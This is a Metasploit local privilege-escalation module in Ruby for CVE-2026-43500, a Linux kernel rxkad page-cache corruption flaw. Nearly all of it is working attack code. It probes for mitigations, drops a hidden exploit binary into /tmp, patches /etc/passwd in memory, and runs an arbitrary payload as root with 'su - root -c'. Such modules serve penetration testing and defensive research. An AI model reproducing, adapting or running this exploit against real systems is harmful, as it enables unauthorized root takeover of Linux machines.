## # This module requires Metasploit: https://metasploit.com/download ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'rxkad Page-Cache Write via CVE-2026-43500', 'Description' => %q{ CVE-2026-43500 exploits a memory-corruption vulnerability in the Linux kernel's RxRPC authentication subsystem (rxkad). When a crafted DATA packet is delivered to an AF_RXRPC socket configured with an attacker-controlled rxkad session key, the kernel's rxkad_verify_packet_1() function performs an in-place 8-byte pcbc(fcrypt) decryption directly on the page-cache page referenced by the splice offset. Because the decryption mutates the page in-place without marking it dirty, the corrupted in-memory view is immediately visible to all processes reading from the page cache. This allows a local attacker to corrupt the in-memory contents of a SUID binary and escalate privileges to root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Hyunwoo Kim', # Discovery 'Giovanni Heward', # Original module ], 'References' => [ ['CVE', '2026-43500'], ['EDB', '52585'], ['EDB', '52591'], ['URL', 'https://github.com/V4bel/dirtyfrag'], ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Platform' => [ 'linux', 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "'" }, 'Targets' => [[ 'Auto', {} ]], 'DisclosureDate' => '2026-05-08', 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_OS_DOWN ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]) ]) end def check dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag') return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank? return CheckCode::Unknown('The rxrpc module has not been detected') unless kernel_modules.include?('rxrpc') kernel_version = Rex::Version.new kernel_release.split('-').first return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('5.3') CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected') end def exploit payload_dir = datastore['WRITABLE_DIR'] fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir) arch = kernel_arch exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" if live_compile? print_status('Live compiling exploit on system...') exploit_c = exploit_data('CVE-2026-43500', 'CVE_2026_43500.c') upload_and_compile(exploit_file, exploit_c) else fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch) vprint_status('Dropping pre-compiled exploit on system...') exploit_bin = exploit_data('CVE-2026-43500', "CVE_2026_43500_#{arch}") upload_and_chmodx(exploit_file, exploit_bin) end register_file_for_cleanup(exploit_file) print_status('Trying to patch in-pages /etc/passwd') # patch the setuid file response = cmd_exec(exploit_file.to_s) fail_with(Failure::NotVulnerable, 'The target application seems to be not vulnerable') unless response.include?('Success!') print_status(%(Trying to run stuff as root: "/usr/bin/su - root -c '#{payload.encoded}'")) # run the payload cmd_exec("/usr/bin/su - root -c '#{payload.encoded}'") end def on_new_session(session) print_status('Restoring balance in galaxy') if session.type.eql?('meterpreter') session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') session.sys.process.execute('/bin/sh', "-c 'echo 3 > /proc/sys/vm/drop_caches") else session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches') end super end end